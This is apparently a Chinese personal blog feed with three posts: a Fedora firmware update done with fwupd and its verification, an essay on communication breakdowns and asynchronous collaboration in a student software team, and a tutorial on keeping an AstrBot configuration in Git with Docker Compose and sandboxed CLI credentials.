/usr/libexec/fwupd/efi/fwupdx64.efi.signed cannot be found

Fedora Server 默认只装了 fwupd，UpdateCapsule 所需的 EFI 程序位于独立的 fwupd-efi-1.8-1.fc44 包。仓库文件列表确认它正好提供上述两个路径，因此安装：

1

sudo dnf install -y fwupd-efi

DNF 成功安装 fwupd-efi-1.8-1.fc44。第三次运行 fwupdmgr update 时没有再报告 EFI 程序缺失，但 LVFS 下载速度异常，六分多钟仍停留在下载阶段，于是用 Ctrl-C 取消。随后检查 fwupdmgr get-history，只记录了前一次因缺少 fwupdx64.efi 而失败的尝试；/boot/efi/EFI 最近 30 分钟也没有新增文件。因此这次取消没有留下待启动的 capsule。

网络恢复后没有必要手工拆 CAB，仍让 fwupd 根据设备依赖统一安排四项更新：

1
2
3
4
5
6
7
8


sudo fwupdmgr refresh --force
sudo fwupdmgr update \
 --assume-yes \
 --no-reboot-check \
 --download-retries 5

sudo fwupdmgr get-history
sudo systemctl reboot

这一次四个 payload 都显示 安装固件成功，重启前的 history 也全部是 Needs reboot。重启后先出现 Lenovo 固件更新进度条，随后屏幕变黑，Esc/FnLock、F1、F4 三个指示灯依次亮起。这个画面很容易让人以为机器刷坏了，其实是 BIOS 更新修改 Memory Reference Code 后进行内存重新训练。Lenovo 官方说明屏幕此时可能全黑，三个 LED 会依次闪烁表示进度，并明确要求不要按电源键中断。

这一段确实很考验人类对“不要碰它”的执行力。屏幕黑着、键盘灯轮流闪，还刚好发生在刷 BIOS 之后，所有直觉都在催人长按电源键；偏偏正确操作就是把手拿开。

内存训练完成后，机器又进入 BIOS Self Healing backup progressing，走完进度条后自动启动 Fedora。新一轮 SSH 登录正常，启动时间为 2026-07-13 03:53:46。实际验收：

1
2
3
4
5
6
7
8
9


fwupdmgr get-devices
fwupdmgr get-history --no-unreported-check
fwupdmgr get-updates --no-unreported-check

cat /sys/class/dmi/id/bios_version
cat /sys/class/dmi/id/ec_firmware_release

systemctl is-active intel_lpmd.service upower.service
systemctl --failed --no-legend

设备	更新前	更新后	验证结果
Embedded Controller	`0.1.8`	DMI `1.17`	原更新目标为 `0.1.14`；升级后旧 GUID 消失，DMI 报告了更高版本
Intel Management Engine	`0.5.2141`	fwupd `0.15.2515` / 硬件 `18.0.15.2515`	新枚举设备状态为 `Success`
System Firmware	`0.1.15`	`0.1.26` / `R2DET41W`	`Success`
UEFI dbx	`20240301`	`20260402`	`Success`

EC 与 ME 的旧设备 ID 在 history 中仍保留 Needs reboot，但不能据此认定更新失败：重启后 ME 已经以新 ID 枚举并报告目标版本；EC 的旧 GUID 不再作为 fwupd 设备出现，而 DMI 的 ec_firmware_release 已经是 1.17，高于原定的 1.14。intel_lpmd.service 与 upower.service 都是 active，systemctl --failed 无输出。

还有一个有意思的依赖链：升级到 BIOS R2DET41W 和 ME 18.0.15.2515 后，LVFS 才展示下一版 ME 1.18.2724。其发行说明明确把刚完成的这两个版本列为前置条件，并修复 CVE-2025-32008、CVE-2025-20080 和 CVE-2025-27708。这是完成原四项后新解锁的后续更新，不是本轮更新失败。

确认开盖、AC 在线、电池 79%、没有失败单元之后，继续让 fwupd 暂存这一项：

1
2
3
4
5
6
7
8


sudo fwupdmgr update \
 --assume-yes \
 --no-reboot-check \
 --download-retries 5

fwupdmgr get-history --no-unreported-check
fwupdmgr get-updates --no-unreported-check
sudo systemctl reboot

暂存输出为 安装固件成功，history 明确记录 0.15.2515 -> 1.18.2724、Needs reboot，而 get-updates 已经显示无更新可用。第二次重启顺利完成，Fedora 于 2026-07-13 04:14:58 启动。最终验收结果是：

1
2
3
4
5
6
7


fwupd Intel Management Engine: 1.18.2724
hardware ME: 18.1.18.2724
update state: Success
available firmware updates: none
intel_lpmd.service: active
upower.service: active
failed systemd units: none

journalctl -b -p warning..alert 中仍有 TDX 不受支持、NVMe SUBNQN、nouveau、SPI NOR、irqbalance affinity 和 sched_itmt_enabled 等平台或驱动 warning，但没有 ME、UEFI capsule 或 fwupd 更新失败。至此，最初的四项固件和随后解锁的第二阶段 ME 更新全部完成。

依据：fwupd 官方文档、LVFS 文档、Lenovo：UEFI BIOS 更新与内存重新训练、Fedora Packages: upower。

至此，“Fedora 管系统，Nix 管开发环境”已经不再是一句计划。Fedora 负责启动、安全边界、服务与硬件，Btrfs 和 Snapper 提供可以回退的实验空间，Nix 则把用户工具链收进可版本化的声明。接下来终于可以开始往 /srv 里放真正的服务了。

Paramer 开发记录 2 - 低效沟通的灾难与异步协作的探索

Tue, 16 Jun 2026 16:51:56 +0800

拖更两个月，惭愧，但这两个月也是积累了相当多的新思考。

第二篇原本在序言里主题被定为，开发踩坑。其实这个选题太莽撞。上篇技术选型问题也是开发踩坑问题。但是开发踩坑其实只是个表层的现象，我们要看到现象背后的本质。

我实际上在第一篇之后，紧接着就为开发踩坑这一主题写了一些大纲，发现我根本写不出来。写不出来说明思考不足，经历不足，这时我就不想再硬写了，那样的文章是不成熟的没价值的。后面一段时间把本篇的草稿直接当成了《人月神话》的读书摘录笔记了，这本书真是常看常新。

这一个多月我没有继续参与 Paramer 的开发工作。我先给自己差不多两周的时间自顾自放了个假，而后才回到团队。但仍然不是负责开发。由于我在项目里的参与时间足够久，项目理解足够，实际上充当了一个类似顾问的角色，因为产品经理和开发之间往往各自说着自己的语言，每天 @ 人然后失踪，然后进度停滞。我注意到这种情况时会尝试出来为双方明确各自观点，帮助同步各项任务进度，同步信息，提供项目建议。

在这个过程中，因为是传话筒，所以意识到了到底有哪些话要传，什么时候要传话，不断意识到了到底在什么地方的信息沟通是低效的阻塞的。而这些是作为开发人员时，无法在团队中感知的，所谓不识庐山真面目，只缘身在此山中。

开发踩坑是问题，问题背后的本质原因很多，在 Paramer 的开发经历中，团队沟通占相当大的一头。其实上一篇我已经提到过：

错误的团队沟通导致错误的需求理解，错误的需求理解导致错误的技术选型。

上一篇主要聚焦在了需求理解，它直接对于开发造成影响。这一篇继续深入讨论，谈谈团队沟通带来的问题。它会造成远不止需求理解的问题。

失败案例

上回说到从 SimFlow 原型重构的 Paramer V1 由于技术选型的失误已经误入歧途。下面看看 Paramer 在歧途中经历了怎样的灾难，开发人员经历了怎样的燃烧。

“How does a project get to be a year late? … One day at a time.”

千里之堤，溃于蚁穴。生病，应急任务，私人问题，客户的紧急会议，每件事只会把进度延后半天或一天，一天天的进度缓慢难以识别，难以防备。积累起来，结果就会是项目延期一年。

场景一：不稳定的需求

团队闲聊的时候我想问问大家有没有想写的素材，月饼，我们的运维，说：

这样，你直接在聊天记录里搜索”不是说好”

确实是这样，太多次在进行功能开发的时候，做完了一个需求，结果要么是产品变卦，要么是客户变卦，又或者是在开会对进度时才提起一个被人遗忘在聊天记录里的需求，种种此类。比如要给客户适配的调度器临时变卦，比如功能开发完了才说不够还需要补上新的需求等等。

还有一种情况是由于产品经理虽然做过一些技术，但并未有过该产品对应技术栈的经验，这会导致错误的在表达产品需求的过程中提出很多本不必要的技术层面的要求。例如，硬件开发经历的产品经理指导后端开发，把应用需要长时间稳定运行这一需求描述为了需要在应用里做系统服务，等等。

这些情况在 Paramer 的开发历程中屡见不鲜。我举一个列表排序这种比较通用的需求案例，来讲讲当时的团队内是怎么做沟通的。

Day 1

开发燃烧两周之后，跑到线下开会，验收前后端实则是联调。

由于接口没对好，前端出 bug 访问不到后端的 API，众人汗颜，产品表示第二天线上开会验收成果

Day 2

产品经理因为并不只是产品经理，他有更重要的事情忙去了，表示验收改到明天。今日并未验收

今日开发无事可做

Day 3

开视频会议验收。产品口头表示，这个记录排序现在是按 ID 排的，记录有的绿有的黄有的红，不整齐。改成按状态排序。

后端开发调整了 SQL

Day 7

团队内部使用人员说，这个排序顺序好像有点奇怪，状态优先级不应该是 Running 放最前面，是 Completed 放最前面。

后端再次调整了 SQL

Day N

前端在群聊里问（没错这几乎是我们提 Issue 的方式）： Day N+N

产品给客户试用了。产品经理说，客户还是喜欢按 ID 排序。

产品看了眼开发，发现他燃烧起来了。

光是这样可能看不出什么很大的问题，稍微改几行代码的事情。

实则不然。

笔者为了追溯这一个功能需求的反复变动，到底经历了什么呢：我把这个群几个月的每天起步几十一百条的聊天记录，翻过去找哪些截图和聊天和这个功能有关，又去翻仓库的 commit message，才追溯到的。

想象，这样的不稳定的变更，每天有不同的十个“有人@你”，散落在群聊消息里。有的压根没描述清楚你还要进一步问，但你@他发现他也没回，也许他也在燃烧；有的早就已经被提过了，你记得跟他说过为什么现在要做成这样，可你翻不到几个星期之前的聊天记录了；而你同时在赶着现在说要加急开发的功能的 DDL。那就变成地狱了

场景二：进度灾难

（本节引用段中的内容均来自《人月神话》原文）

《人月神话》里这样讲到过：

不为系统测试安排足够的时间简直就是一场灾难。因为延迟发生在项目快完成的时候。直到项目的发布日期，才有人发现进度上的问题。因此，坏消息没有任何预兆，很晚才出现在客户和项目经理面前。

这本书真的是常看常新，回过头来看 Paramer 的初期开发基本是踩遍了五十多年前人们就踩过的坑。

作为一个比较天真的后端开发，看到已经有跑通了的 Simflow 原型，认为两星期一个月差不多就能完成代码的初步开发。

这犯了第一宗罪：编程人员常有的，认为“一切都将运作良好”

所以系统编程的进度安排背后的第一个假设是：一切都将运作良好，每一项任务仅花费它所"应该"花费的时间。对这种弥漫在编程人员中的乐观主义，理应受到慎重的分析

在经过了两周多的 Paramer 开发之后，进度自然明显赶不上了。此前，完全没有做好 Paramer 的需求明确，每天的 Paramer 开发时常要被 Simflow 的 bugfix 和运维任务打断，并且这并不仅仅是一项重构任务，因为我们在重构的基础上，贪婪的为这个版本加上了一些原有功能以外的新功能需求。我们还忽略了测试的时间，直接把开发的时间当做了整个工程时间。

那么进度延后之后，有哪些选择呢？从项目经理的角度来说，直觉上会出现三个选择：增添人手，删减任务，重新安排进度。

根据 Brooks 法则，向进度落后的项目中增加人手，只会使进度更加落后。

在现实情况中，一旦开发团队观察到进度的偏差，总是倾向于对任务进行削减。当项目延期所导致的后续成本非常高时，这常常是唯一可行的方法。

而由于初入团队，仍然身为学生的编程人员自然不敢对于自己预先预估出的已有的验收日期提出修改。而团队的项目经理当时又是一个完全缺失的状态，毫无进度监督可言。

None love the bearer of bad news.

这犯了第二宗罪：

本应当是随时可见的项目进度，在老板那里会变成隔十几天才能看到一次进展。最后会演变成一种更加糟糕的情况：不仅删减任务，还重新安排进度。

插一句，实际上就连验收时间都是一个没被统一的量：

然而最终是 21 号验收了一次。

需要注意的是，本篇我更希望关注的并不是进度为什么估算错了，而是：

为什么没人知道进度已经错了？

这两个问题完全不一样。前者是关于项目进度监督、风险暴露机制以及项目经理在其中应承担的职责，我会在后续专门讨论。

本篇我更想讨论的问题是，本应当是随时可见的项目进度，在老板那里会变成隔十几天才能看到一次进展。项目延期并不可怕，甚至对我们这种预研性质初期项目，不痛不痒，可怕的是项目已经延期两周了，而负责推进的人还不知道。

有趣的是，无论是需求变更，还是进度失控。它们最终都指向同一个问题：信息没有被正确地传递。随着团队人数增长，这个问题变得越来越严重。

场景三：信息只存在于人的脑子里

再举个接口交接的案例。谷子哥，Cachelize，是我们当时的一个前端。为了做参数优化的图形化显示，他需要优化器后端提供一些新的接口，给一份接口文档。但他催接口催了十天。

在 Paramer 的团队中，我之前一直以为我们缺少的是人手。但后来发现，很多时候缺少的不是人，而是信息。

代码在仓库里不等于别人知道怎么调用，配置在服务器里不等于别人知道怎么部署，知识在脑子里不等于团队拥有知识。重要信息如果只存在于人的脑子里，那么组织就无法交接。

真正的问题并不是这个接口文档需要按什么时间给，真正的问题是整个团队默认了一种工作方式：信息保存在人身上，而不是保存在组织。于是所有的问题都会变成，等某人有空之后尽快回复我。

再多的群聊装不下膨胀的消息

随着组织规模扩大到十几人，每天的群聊消息达到了几百条甚至上千条，于是提议按工作组分群聊天。

可以从群头像看到大家美丽的精神状态

但是分群真的能解决问题吗？

其实稍微多想一层都不会认为这是个可拓展的模式。现在觉得消息太多，于是分了个这些群。那逐渐扩张，是否还会再从某一个群继续分裂，需求讨论群，测试群，临时问题群，On Call 群。。。

似乎每一次遇到沟通问题，第一反应都是，再建一个群。

于是现在甚至连需求都做不到同步了。EDA 群在用 Paramer 的时候，发现了问题，在 EDA 群里提了个可能的需求。Paramer 的开发人员在 Paramer 群里讨论了实现方案，运维在运维群里等着部署环境，此刻算法群里沉浸式讨论数学。

到最后，需求改没改，接口定没定，环境配没配，谁也不知道。因为信息已经散落在不同群聊里。

分群什么都没做到，我们只是把一个信息黑洞，拆成了四个信息黑洞。

异步的团队，同步的沟通

再回头看看上面这三个失败案例，实际上应当这样总结：

场景一：需求信息丢失
场景二：进度信息丢失
场景三：知识信息丢失

开篇说到一个多月我没有继续参与 Paramer 的开发工作。最终我看到这样的一个事情：一个用于确定需求的只需要十分钟的三个人参与就行的线上会议，三天没开下来。期间不是 A 不在线就是 B 不在线，等到终于看到消息，或者我终于想起来 @ 两边问问他们开没开过会，已经是第二天。

这次之后，我把团队里从上到下全拉出来批斗了一番。但其实也只是指出了哪些地方很明显不对劲，还没有找到问题本质。

先前我也参与过协作节奏控制的非常好的一个西安的团队，看上去各种项目的推进速度一点都不慢，工作强度感觉却比 Paramer 这个项目轻不少。有朋友说，他们的工作模式已经非常大厂了。但效率高，又真的是因为大家坐在同一个办公室里吗？

如果是这样，只不过是把我们的群聊，变成了人腿从一个工位跑到另一个工位，变成了语音频道交流。确实保证两边都在线了，效率又到底能提高多少呢？要知道，音频是极其低效的信息传递信道。

问题到底出在哪里，这得从我们的团队形式说起。

我们团队的主要成员都是学生，同一时间，有人能有空，有人得上课，有人作息不在一个时区。天然不可能朝九晚五。就算再怎么要求 On Call，考试，签到，实验课验收，体育课，总不能不去吧。

从组织形态上来说，我们早就已经是一个异步团队了。然而我们的沟通方式，却是一个同步的形式。

接触到的这个西安团队协作模式，在我经历了 Paramer 的磨难之后，给了我非常大的震撼，深深感叹他们工作流的规范程度。但当时仅仅停留在他们文档做的多，飞书用的多，任务面板维护的多，PR 写的细，等等的现象上面，没有思考过这些行为的本质。现在这番对比，才意识到，真正的区别在于信息传递的同步还是异步。

什么是同步和异步？

并不能因为这个词从编程到了团队管理就变得不认识。从编程的角度看，其实就是两种调用模型。同步沟通很像阻塞调用：

1

发起请求 → 等对方返回 → 才能继续下一步

而异步沟通更像消息队列 + 回调 + 事件驱动：

1

发起请求 → 把信息写入任务队列 → 自己继续做别的事

上面主要体现的是一个是否阻塞的问题。另一个问题是，同步沟通往往伴随着缺乏各种信息的单一事实来源。

比如同一个需求，在没有单一事实来源的情况下会变成这样：

A 说：“这个接口是按状态排序”
B 在群里补一句：“其实客户更想按 ID”
C 过两天口头确认：“先按 Running 在前吧”
D 写代码的时候看到的是：“按 Completed 优先”

最终结果是，没有一个地方记录最终到底是什么，只有一堆彼此冲突的局部记忆。

而在有单一事实来源的情况下，信息查询的唯一入口：Issue / PRD / 文档

任何人，甚至不是人而是 Agent，随时都可以看到最新版本是什么，而不是：“你记得我们上次怎么说的吗？”

同样的问题可以发生在其他的地方，比如进度管理等，不再赘述。

然而，在同步沟通的环境下，大家明知道沟通非常累，却反而更加不愿意维护这样的单一事实来源，这并不是做不到这件事。

在群聊 + 临时会议的模式下，@ 一个人，改一句话比改文档快，于是信息会不断回流到看起来更省事的群聊，而不是维护到文档，或是任务面板。同步沟通系统默认奖励快速响应，惩罚结构化沉淀，最终形成恶性的螺旋。

异步协作

当我意识到真正的问题在于缺乏异步沟通协作之后，去网上搜索，才认识到原来已有不少早就规模化应用异步协作的大型团队。

我特别喜欢 GitLab 这个例子。他们的员工遍布全球 60 多个时区，却能在同一个团队里协作。他们维护了 The GitLab Handbook。

具体的异步协作好处，以及具体落实的方式，我已无心赘述，各种先例远比我在博客里说的要多要全。如果你完全没了解过，希望初步了解关于异步协作的部分，直接看这一章节：How to embrace asynchronous communication for remote work

不过，我最喜欢的还是那一句话：

The easiest way to take on an asynchronous mindset is to ask this question: “How would I deliver this message, present this work, or move this project forward right now if no one else on my team (or in my company) were awake?"

[过时]从零开始搭建一个 Git 管理的 AstrBot 配置仓库

Thu, 28 May 2026 17:21:56 +0800

2026.7.12 编辑：

使用体验是，Astrbot 的 Agent 能力相当差劲，不适合作为团队共用的 Agent。并且实际上想把它做成配置式的应用也相当麻烦。除非仅作为学习探索目的，否则不建议实际使用。

最近想把 AstrBot 当成一个长期可维护的团队机器人入口：后续它要接飞书、Gitea、沙箱、lark-cli、tea、自定义插件和 Skills。如果这些东西都只堆在某台机器的 data/ 目录里，迟早会变成不可复现的手工状态。

所以第一步不是立刻做复杂自动化，而是先从 0 开始做一个可以被 Git 管理的 AstrBot 配置项目。本文先记录最小版本：创建独立仓库，用 Docker Compose 跑通 AstrBot WebUI，并明确哪些文件应该进 Git，哪些运行态文件应该忽略。

目标

我希望最终得到这样的结构：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14


astrbot-config/
 compose.yml
 .env.example
 .gitignore
 README.md

 data/
 cmd_config.json
 mcp_server.json
 config/
 plugins/
 skills/

 ops/

这里的重点是：data/ 不是整体入库，而是只把可复现、可审查的配置放进 Git。

应该进入 Git 的内容包括：

data/cmd_config.json
data/config/
data/plugins/
data/skills/
data/mcp_server.json
自己维护的插件、Skills、配置模板

不应该进入 Git 的内容包括：

.env
data/dist/
data/dashboard.zip
data/*.db
data/knowledge_base/
data/temp/
data/workspaces/
data/attachments/
data/site-packages/

初始化项目

新项目放在：

1

/home/veno/Projects/astrbot-config

先创建目录和 Git 仓库：

1
2
3
4
5


cd ~/Projects
mkdir astrbot-config
cd astrbot-config
git init
git branch -m main

目录骨架：

1
2
3
4
5
6


mkdir -p data/config data/plugins data/skills ops
touch data/.gitkeep \
 data/config/.gitkeep \
 data/plugins/.gitkeep \
 data/skills/.gitkeep \
 ops/.gitkeep

Docker Compose

compose.yml 使用官方镜像：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15


services:
 astrbot:
 image: ${ASTRBOT_IMAGE:-soulter/astrbot:latest}
 container_name: ${ASTRBOT_CONTAINER_NAME:-astrbot-config}
 restart: unless-stopped
 security_opt:
 - no-new-privileges:true
 ports:
 - "${ASTRBOT_WEB_PORT:-6185}:6185"
 - "${ASTRBOT_ONEBOT_PORT:-6199}:6199"
 environment:
 - TZ=${TZ:-Asia/Shanghai}
 volumes:
 - ./data:/AstrBot/data:z
 - /etc/localtime:/etc/localtime:ro

.env.example：

1
2
3
4
5


ASTRBOT_IMAGE=soulter/astrbot:latest
ASTRBOT_CONTAINER_NAME=astrbot-config
ASTRBOT_WEB_PORT=6185
ASTRBOT_ONEBOT_PORT=6199
TZ=Asia/Shanghai

实际运行时复制一份 .env，但 .env 不进 Git：

1

cp .env.example .env

Git Ignore

.gitignore 的核心是排除运行态文件：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21


.env
*.log

data/dist/
data/temp/
data/attachments/
data/webchat/
data/site-packages/
data/knowledge_base/
data/workspaces/
data/plugin_data/
data/dashboard.zip
data/*.db
data/*.db-*
data/t2i_templates/

# Keep config-managed areas tracked.
!data/
!data/config/
!data/plugins/
!data/skills/

这样 AstrBot 首次启动时生成的一堆数据库、WebUI 静态资源、知识库文件不会污染配置仓库。

清掉旧实例

因为这是一个从 0 开始的新部署，所以旧 AstrBot 容器直接作废。

先查看容器：

1

docker ps -a --format '{{.ID}} {{.Names}} {{.Image}} {{.Ports}} {{.Status}}'

当时发现旧容器 astrbot 占用了 6185：

1

astrbot soulter/astrbot:latest 0.0.0.0:6185->6185/tcp Up ...

移除旧 AstrBot：

1

docker rm -f astrbot

我没有动 napcat，因为它不是 AstrBot 本体。

启动新实例

启动：

1

docker compose up -d

第一次启动时踩到一个小坑：因为前一次端口冲突已经创建了容器，后续虽然配置正确，但实际端口没有发布出来。解决方式是强制重建：

1

docker compose up -d --force-recreate

查看状态：

1

docker ps --format '{{.Names}} {{.Ports}} {{.Status}}'

最终看到：

1

astrbot-config 0.0.0.0:6185->6185/tcp, 0.0.0.0:6199->6199/tcp Up

日志里确认 WebUI ready：

1
2
3


AstrBot v4.24.2 WebUI is ready
Local: http://localhost:6185
Default username/password: astrbot / astrbot

访问地址：

1

http://localhost:6185

默认账号密码：

1

astrbot / astrbot

处理生成的配置

AstrBot 会在 data/ 下生成主配置：

1
2


data/cmd_config.json
data/mcp_server.json

其中 data/cmd_config.json 里会出现运行时生成的 dashboard.jwt_secret。这个值不适合进 Git，所以提交前我把它清空：

1
2
3


"dashboard": {
 "jwt_secret": ""
}

容器以 root 写入挂载目录时，本机用户可能无法直接修改文件。可以通过容器把 /AstrBot/data 的所有权改回来：

1

docker exec astrbot-config chown -R 1000:1000 /AstrBot/data

然后再清理 cmd_config.json。

初始提交

确认 Git 状态：

1

git status --short --ignored

应该只看到 .env、数据库、WebUI 静态资源等被忽略，配置文件和骨架目录可提交。

提交：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10


git add .env.example .gitignore README.md compose.yml \
 data/.gitkeep \
 data/config/.gitkeep \
 data/plugins/.gitkeep \
 data/skills/.gitkeep \
 data/cmd_config.json \
 data/mcp_server.json \
 ops/.gitkeep

git commit -m "chore: initialize astrbot docker config repo"

当前提交：

1

8a4a00d chore: initialize astrbot docker config repo

WebUI 初始配置

启动跑通之后，我在 AstrBot WebUI 里做了第一次人工配置：

修改了初始 Dashboard 用户名和密码
在模型提供商里创建了 DeepSeek API 来源
启用了 deepseek/deepseek-v4-pro 作为模型
新建了一个配置文件，展示名称为 Feishu - Flow Project
暂时还没有接入飞书机器人、沙箱、CLI、Skills 或插件

这些操作反映到仓库里后，git status 看到：

1
2
3


 M data/cmd_config.json
?? data/config/abconf_99578339-b87b-41b4-97a9-5c4af491f6c2.json
?? data/skills.json

data/cmd_config.json 的主要变化是：

dashboard.username 从 astrbot 改成了 veno
dashboard.password 更新为新的密码哈希
dashboard.jwt_secret 被运行时重新生成
新增 provider_sources[0]，来源 ID 为 deepseek
新增 provider[0]，模型 ID 为 deepseek/deepseek-v4-pro

其中 DeepSeek API key 目前由 AstrBot WebUI 直接写进了 data/cmd_config.json：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11


{
 "provider_sources": [
 {
 "provider": "deepseek",
 "type": "openai_chat_completion",
 "api_base": "https://api.deepseek.com/v1",
 "id": "deepseek",
 "enable": true
 }
 ]
}

这里我最后选择了更朴素的方案：把这个仓库明确定位为私有配置仓库，并让 data/cmd_config.json 继续作为 AstrBot 运行时事实来源进入 Git。

原因是 AstrBot WebUI 会直接写这个 JSON，当前还不能确认它是否稳定支持从 .env 或模板安全回填 provider key、Dashboard 密码哈希和 jwt_secret。如果强行做模板渲染，反而可能引入“配置看起来可复现，但实际启动时被覆盖或漏注入”的风险。

因此现阶段的安全边界是：

私有 Git 仓库可以包含真实运行配置
不配置公开 remote，不把配置 diff 贴到公开聊天或博客里
如果未来要公开仓库，先轮换 provider key 和 Dashboard 凭据，再清理 Git 历史
真要提高 secret 安全等级时，再引入 SOPS 或 git-crypt，而不是先做脆弱的自动回填

另外，新建的配置文件实际落在：

1

data/config/abconf_99578339-b87b-41b4-97a9-5c4af491f6c2.json

这个 JSON 文件本身没有直接写入 Feishu - Flow Project 字符串。也就是说，AstrBot 对“配置文件展示名”和 abconf_*.json 文件之间的映射，可能不完全靠这个 JSON 文件表达。后续如果要做严格 GitOps，需要继续确认配置文件命名和展示名的持久化位置。

私有配置提交

确认采用私有仓库策略后，我把 WebUI 产生的真实配置提交进 Git：

1

e75b5fd chore: track astrbot webui config privately

这次提交包含：

data/cmd_config.json：Dashboard 用户、DeepSeek 来源和启用模型等真实运行配置
data/config/abconf_99578339-b87b-41b4-97a9-5c4af491f6c2.json：WebUI 新建配置文件对应的 JSON
data/skills.json：当前为空的 Skills 注册状态
README.md：补充私有仓库安全边界说明

提交后工作区是干净的，并且当前没有配置 Git remote。

Shipyard Neo 沙箱与 Feishu CLI

下一步我按 AstrBot 文档接入沙箱能力。文档里的关键点是：Computer Use Runtime 可以设为 sandbox，沙箱驱动选择 Shipyard Neo；Bay 默认监听 8114，AstrBot 通过 Shipyard Neo API Endpoint 和 Shipyard Neo Access Token 连接。

这次采用本机独立 Shipyard Neo 部署，而不是把 Bay 塞进 AstrBot 容器：

Shipyard Neo 部署目录：/home/veno/Projects/shipyard-neo-deploy
Bay endpoint：http://bay:8114，供 AstrBot 通过 Docker 网络访问
AstrBot computer_use_runtime：sandbox
AstrBot sandbox.booter：shipyard_neo
AstrBot shipyard_neo_profile：python-lark
Bay token：按文档写入 shipyard_neo_access_token，继续由私有配置仓库管理

Fedora 上还遇到一个实际问题：Bay 需要访问 Docker socket 来创建 sandbox 容器，但 SELinux 会拦截默认 bind mount。由于 Bay 挂 Docker socket 本身就已经是高权限组件，我在 Bay service 上显式加了：

1
2


security_opt:
 - label:disable

这不是为了让普通业务容器放宽隔离，而是为了让 Bay 这个 Docker 控制面组件在 Fedora 上能按设计工作。

Feishu CLI 和 Skills 按 larksuite/cli 官方仓库处理：

本机先执行官方推荐的 npx skills add larksuite/cli -g -y，安装官方 lark skills
AstrBot 仓库中同步了官方安装器发现的 26 个 lark skills 到 data/skills/
自定义 Shipyard Neo ship 镜像继承 ghcr.io/astrbotdevs/shipyard-neo-ship:latest
镜像内执行官方推荐的 npx /cli install 安装 lark-cli
额外加入本机已有的静态 tea 二进制

最终验证：Bay 能创建 python-lark sandbox，并且在真实 sandbox 内执行：

1

lark-cli --version && tea --version

返回 lark-cli version 1.0.42 和 tea 0.12.0。

CLI 授权状态持久化

安装 lark-cli 和 tea 之后，还有一个更实际的问题：Agent 每次要用飞书或 Gitea 能力时，不应该重新思考“去哪登录、token 放哪、下次还在不在”。这件事不能交给 Skill 本身解决。Skill 只应该描述工具怎么用，真正的权限边界仍然应该在飞书应用权限、用户授权、Gitea token scope 和 sandbox 运行时配置上。

一开始我以为只要把 HOME 和 XDG_CONFIG_HOME 指到 /workspace，就能靠 Shipyard Neo Cargo 保存 CLI 登录态。后面继续查文档和实际验证后发现，这个判断只对了一半：managed cargo 会随着 sandbox 删除而释放，不能作为长期账号凭证存储。真正适合保存 CLI 凭证的是 external cargo。

最终部署改成了这样：

镜像层只安装工具：lark-cli、tea 和对应 Skills
Skill 层只提供调用说明，不写入任何 token
Shipyard Neo 增加显式 profile：python-lark
python-lark 继续使用同一份工具镜像，并设置 HOME=/workspace、XDG_CONFIG_HOME=/workspace/.config
Bay 中创建一个 external cargo，专门持久化 /workspace
AstrBot 创建 sandbox 时传入固定 cargo_id

对应的 Shipyard Neo profile 是：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12


- id: python-lark
 description: "Python sandbox with lark-cli and tea, using persistent CLI config"
 image: "shipyard-neo-ship-lark:latest"
 runtime_type: ship
 runtime_port: 8123
 capabilities:
 - filesystem
 - shell
 - python
 env:
 HOME: "/workspace"
 XDG_CONFIG_HOME: "/workspace/.config"

这里一开始还有一个 AstrBot 侧的小补丁：当前 AstrBot 的 ShipyardNeoBooter 只传 profile 和 ttl，不会传 cargo_id。后来证明这个方向不稳，因为 WebUI 更新 AstrBot 时会覆盖运行时源码。最终方案改为 Bay 侧 profile -> cargo 映射：AstrBot 仍然只传 profile=python-lark，Bay 在创建 sandbox 时自动补上对应的 external cargo。

这个方案的边界比较清楚：

token 不进镜像
token 不进 Skill
token 不出现在博客或公开日志里
CLI 凭证落在 external cargo 的 /workspace/.config
AstrBot 容器不再改源码，Git 只记录 Bay 侧配置和可复现的部署代码

持久化验证也做过一次：在 external cargo 里写入测试文件，删除 sandbox 后重新创建，文件仍然存在。这说明凭证目录不再依赖某个临时 sandbox 生命周期。

随后完成了两个 CLI 的登录和验证：

1
2
3
4


lark_configured=true
lark_auth_status_ok=true
lark_auth_list_ok=true
tea_authenticated=true

其中 tea 已能访问目标 Gitea 实例，账号验证为 veno。Lark 侧使用脱敏验证方式，只检查 config show、auth status、auth list 的退出码，不打印任何 app secret、access token 或用户授权内容。

到这里，AstrBot 在后续调用 lark-cli 和 tea 时，不需要每次重新设计授权流程。模型只需要按 Skill 使用命令；具体能读写什么，由飞书服务端权限、用户授权范围、Gitea token scope 和 external cargo 中的当前登录态共同决定。

WebUI 更新与源码 Patch

这里后来又踩到一个和 WebUI 更新有关的坑。

最初为了让 AstrBot 读取 ASTRBOT_SHIPYARD_NEO_CARGO_ID，我把两个 patch 文件直接以只读 bind mount 的方式挂到了容器里的源码路径：

1
2


/AstrBot/astrbot/core/computer/booters/shipyard_neo.py
/AstrBot/astrbot/core/computer/computer_client.py

这样运行时没问题，但从 WebUI 更新 AstrBot 时会失败：

1

[Errno 30] Read-only file system: '/AstrBot/astrbot/core/computer'

原因很直接：WebUI 更新器会尝试覆盖 AstrBot 本体源码，而源码目录下有只读挂载点。即使只挂了两个文件，更新过程遇到这些路径也会被文件系统拒绝。

第一版修复方式是不要把 patch 文件直接挂到源码路径，而是挂到独立目录，并在容器启动时复制进去：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10


command:
 - sh
 - -c
 - |
 cp /AstrBot/local-patches/astrbot/core/computer/booters/shipyard_neo.py /AstrBot/astrbot/core/computer/booters/shipyard_neo.py
 cp /AstrBot/local-patches/astrbot/core/computer/computer_client.py /AstrBot/astrbot/core/computer/computer_client.py
 exec python main.py
volumes:
 - ./data:/AstrBot/data:z
 - ./patches/astrbot:/AstrBot/local-patches/astrbot:ro,z

这样 patch 来源仍然是只读的、可 Git 管理的，但 /AstrBot/astrbot/core/computer 本身恢复为容器内可写目录。WebUI 更新 AstrBot 时不会再被 bind mount 卡住；容器重启后也会重新应用本地 patch。

修复后验证：

1

computer_dir_writable=true

